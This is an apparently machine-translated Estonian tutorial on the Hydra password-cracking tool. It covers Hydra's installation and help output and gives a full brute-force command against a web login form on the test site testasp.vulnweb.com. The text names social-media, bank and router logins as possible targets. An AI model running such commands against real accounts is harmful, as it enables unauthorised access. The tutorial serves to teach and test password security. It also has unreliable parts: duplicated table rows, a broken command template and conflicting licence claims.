Parool on tehniliselt määratletud kui salajane tähemärkide rida, mida kasutatakse ressursside autentimiseks või neile juurdepääsu saamiseks. Seda tuleb hoida salajas ja varjata teiste eest, kellel ei ole juurdepääsu nendele ressurssidele. Paroole on arvutitega kasutatud juba esimestest andmetöötluse aegadest. Üks esimesi jagamissüsteeme võeti kasutusele aastal 1961. Sellel oli sisselogimiskäsk, mis nõudis kasutaja parooli. Pärast PASSWORD -i sisestamist lülitab süsteem võimaluse korral printimismehhanismi välja, et kasutaja saaks privaatselt oma parooli sisestada.
Parooli tugevus sõltub pikkusest, keerukusest ja ettearvamatusest. See mõõdab äraarvamise või selle murdmise tõhusust. Teisest küljest lühendavad nõrgad paroolid aega, mis on vajalik, et ära arvata ja pääseda juurde isiklikele/ettevõtte e-kirjadele, tundlikele andmetele, nagu finantsteave, äriteave, krediitkaardid jne.
Parool võib olla mitmel viisil nõrk, mis vastab erinevate ründeskeemide tugevustele. Sellise volitusrünnaku kõige populaarsem on jõhker jõud. see on katse -eksituse meetod, nagu oletamine, proovige dekodeerida krüpteeritud andmeid, näiteks parool või andmete krüptimine, mida rakendusprogramm või häkkimistööriist kasutab.
Hydra on kiireim võrgu sisselogimiskrakk, mis toetab arvukalt rünnakuprotokolle. See on väga kiire ja paindlik ning uusi mooduleid on lihtne lisada. See tööriist võimaldab teadlastel ja turvakonsultantidel näidata, kui lihtne oleks loata juurdepääs süsteemile eemalt. Hydra kirjutas van Hauser ja seda toetas täiendavalt David Maciejak. Viimases värskenduses on hydra arendus viidud avalikku githubi hoidlasse aadressil https://github.com/vanhauser-thc/thc-hydra.
Hydra kompileerimiseks testiti Linuxit, Windowsit/Cygwini, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry ja see on saadaval GPLv3 all koos spetsiaalse OpenSSL -litsentsi laiendusega.
THC Hydra toetab neid protokolle: Cisco AAA, Cisco autentimine, Cisco lubamine, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-puhverserver, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 ja v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC ja XMPP.
HYDRA VÕRDLEMINE TEISTE LÕHKAVATE TÖÖRIISTADEGA
Hüdra kõrval on ka palju sisselogimiskrakkimise tööriistu, kuid ükski neist ei toeta tohutut protokollide loendit ja paralleelset sisselogimispragunite tuge nagu hüdra. Allolevad tabelid näitavad funktsioonide, teenuste ja kiiruse võrdluse tulemusi medusa ja ncrackiga.
Funktsioonid
Tunnusjoon | Hydra | meduusid | Ncrack |
Litsents | AGPLv3 | GPLv2 | GPLv2 + Nmap tingimused |
IPv6 tugi | Jah | Ei | Ei |
Graafiline kasutajaliides | Jah | Jah | Ei |
Rahvusvaheline tugi (RFC 4013) | Jah | Ei | Ei |
HTTP puhverserveri tugi | Jah | Jah | Ei |
SOCKS puhverserveri tugi | Jah | Ei | Ei |
Toetatud protokollid | 51 | 22 | 7 |
Teenused
Teenindus | Üksikasjad | Hydra | meduusid | Ncrack |
ADAM-6500 | Jah | Ei | Ei | |
AFP | Jah | Jah | Ei | |
Tärn | Jah | Ei | Ei | |
Cisco parool | Jah | Ei | Ei | |
Cisco lubamine | Jah | Ei | Ei | |
CVS | Jah | Jah | Ei | |
Tulelind | Jah | Ei | Ei | |
FTP | Jah | Jah | Jah | |
SSL tugi | AUTH TLS ja FTP üle SSL | AUTH TLS ja FTP üle SSL | Ei | |
HTTP | Meetod (id) | HANGI, PEA, POSTITA | GET | GET |
Põhiline aut | Jah | Jah | Jah | |
HTTP vorm | Meetod (id) | SAA, POSTITA | SAA, POSTITA | Ei |
SSL tugi | HTTPS | HTTPS | Ei | |
HTTP puhverserver | Põhiline aut | Jah | Ei | Ei |
DIGEST-MD5 Aut | Jah | Ei | Ei | |
NTLM -i aut | Jah | Ei | Ei | |
SSL tugi | HTTPS | Ei | Ei | |
HTTP PROXY URL -i loend | Jah | Ei | Ei | |
ICQ | v5 | Jah 1 | Ei | Ei |
IMAP | LOGINi tugi | Jah | Jah | Ei |
AUTH LOGINi tugi | Jah | Ei | Ei | |
AUTH PLAINi tugi | Jah | Jah | Ei | |
AUTH CRAM-MD5 tugi | Jah | Ei | Ei | |
AUTH CRAM-SHA1 tugi | Jah | Ei | Ei | |
AUTH CRAM-SHA256 tugi | Jah | Ei | Ei | |
AUTH DIGEST-MD5 tugi | Jah | Ei | Ei | |
AUTH NTLM tugi | Jah | Jah | Ei | |
AUTH SCRAM-SHA1 tugi | Jah | Ei | Ei | |
SSL tugi | IMAPS & STARTTLS | IMAPS & STARTTLS | Ei | |
IRC | Üldine serveri parool | Jah | Ei | Ei |
OPER -režiimi parool | Jah | Ei | Ei | |
LDAP | v2, lihtne tugi | Jah | Ei | Ei |
v3, lihtne tugi | Jah | Ei | Ei | |
v3, AUTH CRAM-MD5 tugi | Jah | Ei | Ei | |
AUTH DIGEST-MD5 tugi | Jah | |||
AUTH NTLM tugi | Jah | Jah | ||
AUTH SCRAM-SHA1 tugi | Jah | |||
SSL tugi | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Üldine serveri parool | Jah | ||
OPER -režiimi parool | Jah | |||
LDAP | v2, lihtne tugi | Jah | ||
v3, lihtne tugi | Jah | |||
v3, AUTH CRAM-MD5 tugi | Jah | |||
v3, AUTH DIGEST-MD5 tugi | Jah | |||
MS-SQL | Jah | Jah | ||
MySQL | v3.x | Jah | Jah | |
v4.x | Jah | Jah | ||
v5.x | Jah | Jah | ||
NCP | Jah | Jah | ||
NNTP | USER tugi | Jah | Jah | |
AUTH LOGINi tugi | Jah | |||
AUTH PLAINi tugi | Jah | |||
AUTH CRAM-MD5 tugi | Jah | |||
AUTH DIGEST-MD5 tugi | Jah | |||
AUTH NTLM tugi | Jah | |||
SSL tugi | STARTTLS ja NNTP SSL kaudu | |||
Oraakel | Andmebaas | Jah | Jah | |
TNS kuulaja | Jah | |||
SID loend | Jah | |||
PC-NFS | Jah | |||
pcAnywhere | Algne autentimine | Jah | Jah | |
OS -põhine autentimine (MS) | Jah | |||
POP3 | USER tugi | Jah | Jah | Jah |
APOP tugi | Jah | |||
AUTH LOGINi tugi | Jah | Jah | ||
AUTH PLAINi tugi | Jah | Jah | ||
AUTH CRAM-MD5 tugi | Jah | |||
AUTH CRAM-SHA1 tugi | Jah | |||
AUTH CRAM-SHA256 tugi | Jah | |||
AUTH DIGEST-MD5 tugi | Jah | |||
AUTH NTLM tugi | Jah | Jah | ||
SSL tugi | POP3S ja STARTTLS | POP3S ja STARTTLS | POP3S | |
PostgreSQL | Jah | Jah | ||
Tärn | Jah | |||
MAK | Windowsi tööjaam | Jah | Jah | Jah |
Windows Server | Jah | Jah | ||
Domeeni autentimine | Jah | Jah | ||
REDIS | Jah | Ei | ||
REXEC | Jah | Jah | ||
RLOGIN | Jah | Jah | ||
RPCAP | Jah | Ei | ||
RSH | Jah | Jah | ||
RTSP | Jah | Ei | ||
SAP R / 3 | Jah | |||
Siemens S7-300 | Jah | |||
SIP | Jah | |||
SSL tugi | SIP SSL kaudu | |||
VKE | NetBIOS -režiim | Jah | Jah | Ei |
W2K algrežiim | Jah | Jah | Jah | |
Räsimisrežiim | Jah | Jah | Ei | |
Selge teksti aut | Jah | Jah | ||
LMv1 aut | Jah | Jah | Jah | |
LMv2 aut | Jah | Jah | Jah | |
NTLMv1 aut | Jah | Jah | Jah | |
NTLMv2 aut | Jah | Jah | Jah | |
SMTP | AUTH LOGINi tugi | Jah | Jah | |
AUTH PLAINi tugi | Jah | Jah | ||
AUTH CRAM-MD5 tugi | Jah | |||
AUTH DIGEST-MD5 tugi | Jah | |||
AUTH NTLM tugi | Jah | Jah | ||
SSL tugi | SMTPS ja STARTTLS | SMTPS ja STARTTLS | ||
SMTP kasutaja Enum | VRFY cmd | Jah | Jah | |
EXPN cmd | Jah | Jah | ||
RCPT - cmd | Jah | Jah | ||
SNMP | v1 | Jah | Jah | |
v2c | Jah | Jah | ||
v3 | (Ainult MD5/SHA1 autentimine) | |||
SOKID | v5, parooli aut | Jah | ||
SSH | v1 | Jah | ||
v2 | Jah | Jah | Jah | |
SSH võtmed | v1, v2 | Jah | ||
Subversioon (SVN) | Jah | Jah | ||
TeamSpeak | TS2 | Jah | ||
Telnet | Jah | Jah | Jah | |
XMPP | AUTH LOGINi tugi | Jah | ||
AUTH PLAINi tugi | Jah | |||
AUTH CRAM-MD5 tugi | Jah | |||
AUTH DIGEST-MD5 tugi | Jah | |||
AUTH SCRAM-SHA1 tugi | Jah | |||
VMware Authi deemon | v1.00 / v1.10 | Jah | Jah | |
SSL tugi | Jah | Jah | ||
VNC | RFB 3.x parooli tugi | Jah | Jah | |
RFB 3.x kasutaja+parooli tugi | (Ainult UltraVNC) | |||
RFB 4.x parooli tugi | Jah | Jah | ||
RFB 4.x kasutaja+parooli tugi | (Ainult UltraVNC) |
Kiiruse võrdlus
Kiirus (s) | Hydra | meduusid | Ncrack |
1 Ülesande / FTP moodul | 11,93 | 12,97 | 18.01 |
4 Ülesanded / FTP moodul | 4.20 | 5.24 | 9.01 |
16 Ülesanded / FTP moodul | 2.44 | 2.71 | 12.01 |
1 Ülesande / SSH v2 moodul | 32,56 | 33,84 | 45.02 |
4 Ülesanded / SSH v2 moodul | 10,95 | Katki | Vastamata |
16 Ülesanded / SSH v2 moodul | 5.14 | Katki | Vastamata |
See oli lühike lihtne sissejuhatus hüdrasse. Nüüd liigume installimise juurde.
HYDRA PAIGALDAMINE
Hydra on kali linuxile eelinstallitud, kuid kui teil on erinev operatsioonisüsteem, saate selle kompileerida ja oma süsteemi installida. Hüdra tugi erinevatel platvormidel:
- Kõik UNIX platvormid (Linux, *bsd, Solaris jne)
- MacOS (põhimõtteliselt BSD kloon)
- Windows koos Cygwiniga (nii IPv4 kui ka IPv6)
- Mobiilsüsteemid, mis põhinevad Linuxil, MacOS -il või QNX -il (nt Android, iPhone, Blackberry 10, Zaurus, iPaq)
Hydra allalaadimiseks, konfigureerimiseks, kompileerimiseks ja installimiseks sisestage lihtsalt terminali:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Kui teil on Ubuntu/Debian, vajate mõnda sõltuvusteeki:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Kui te ei leidnud neid teeke oma hoidlast, peate need käsitsi alla laadima ja installima.
KUIDAS HYDRA't KASUTADA
Palju õnne, nüüd õnnestus teil oma süsteemile hüdra installida. Tegelikult on Hydral kaks maitset, GUI-gtk ja minu lemmik CLI versioon. ja lisaks on hydral ka CLI-juhitud versioon, mida nimetatakse hüdraviisardiks. Teid juhendatakse samm -sammult, selle asemel, et tippida kõik käsud või argumendid terminali käsitsi. Hydra käitamiseks tehke järgmist.
CLI jaoks:
hydra
CLI-nõustaja jaoks:
hydra-wizard
GUI jaoks:
xhydra
Pärast 'hydra' sisestamist kuvatakse järgmised abikäsklused:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Bruteforce'i veebipõhine sisselogimine koos hydraga
Hydra toetab mõnda bruteforcing-teenust, nagu ma varem mainisin, ühte neist kasutatakse veebipõhiste sisselogimiste, näiteks sotsiaalmeedia sisselogimisvormi, kasutajapanga sisselogimisvormi, ruuteri veebipõhise sisselogimise jms toomiseks. See http [s] -get-form kes seda taotlust rahuldab. Selles õpetuses näitan teile, kuidas haavatavaid veebisisselogimisi jõustada. Enne hüdra käivitamist peaksime teadma mõningaid vajalikke argumente, näiteks allpool:
- Sihtmärk : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Logi sisse kasutajanimi : admin (kui te pole selles kindel, kasutage seda julmalt)
- Paroolide loend : Võimalikke paroole sisaldava sõnastiku failide loendi asukoht.
- Vormi parameetrid : üldjuhul kasutage päringu parameetrite vormi saamiseks võltsimisandmeid või puhverserverit. Kuid siin kasutan iceweaseli, Firefoxil põhinevat võrguarendaja tööriistariba.
- Teenindusmoodul : http-post-vorm
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Postitusparameetrite hankimine brauseri, iceweasel/Firefoxi abil
Vajutage oma Firefoxi brauseris klahve ' CTRL + SHIFT + Q ‘. Seejärel avage veebis sisselogimise lehthttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, märkate, et võrguarendaja vahekaardil kuvatakse teksti. See ütleb teile, millised failid meile edastatakse. Vaadake, kuidas kõik meetodid on GET, kuna me pole veel andmeid postitanud.
Vormijärgsete parameetrite hankimiseks sisestage kasutajanime ja parooli vormile mis tahes. Märkate võrguarendaja vahekaardil uut POST -meetodit. Topeltklõpsake sellel real, vahekaardil Päised klõpsake paremal küljel nuppu Redigeeri ja edasta. Kopeerige päringu põhiosa viimane rida, näiteks tfUName = asu & tfUPass = raimu . the tfUName ja tfUPass on parameetrid, mida vajame. Nagu allpool näha:
Kali linuxil on palju sõnaloendeid, valige sobiv sõnaloend või kasutage lihtsalt kohta rockyou.txt /usr/share/wordlists/ nagu allpool näha:
Olgu, nüüd on meil kõik vajalikud argumendid olemas ja oleme valmis hüdrat vallandama. Siin on käsumuster:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Jaotame käsud lahti:
- the : on sõna, mis sisaldab kasutajanime kontot, kasutage failis võimalike kasutajanimede loendi vaatamiseks -L.
- P : on võimalike paroolide faililoend, kasutage -p, et sõna otseses mõttes kasutada ühe sõna parooli, selle asemel, et ära arvata.
- testapp.vunlwebapp.com : on hostinimi või sihtmärk
- http-post-vorm : on meie kasutatav teenindusmoodul
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = 3 vajalikku parameetrit, süntaks on järgmine:
{lehe URL}: {Request post body vormi parameetrid}: S = {Leia pärast edukat sisselogimist lehelt mis tahes} - v = Paljusõnaline režiim
- V = näita sisselogimist: iga katse läbimine
- f = Lõpetage programm, kui paarisisselogimine: parool on leitud
Nüüd lubage Hydral proovida meie jaoks parooli rikkuda, see vajab aega, kuna see on sõnastiku rünnak. Kui teil õnnestus leida paar sisselogimispaari: parool hydra lõpetab kohe töö ja kuvab kehtiva mandaadi.
Hydra saab teha nii mõndagi, kuna selles õpetuses õppisime just veebipõhise sisselogimise hüdra abil jõustamist, õpime ainult ühte protokolli, see on http-post-vorm protokoll. Võime kasutada hüdrat ka mõne muu protokolli vastu, näiteks ssh, ftp, telnet, VNC, puhverserver jne.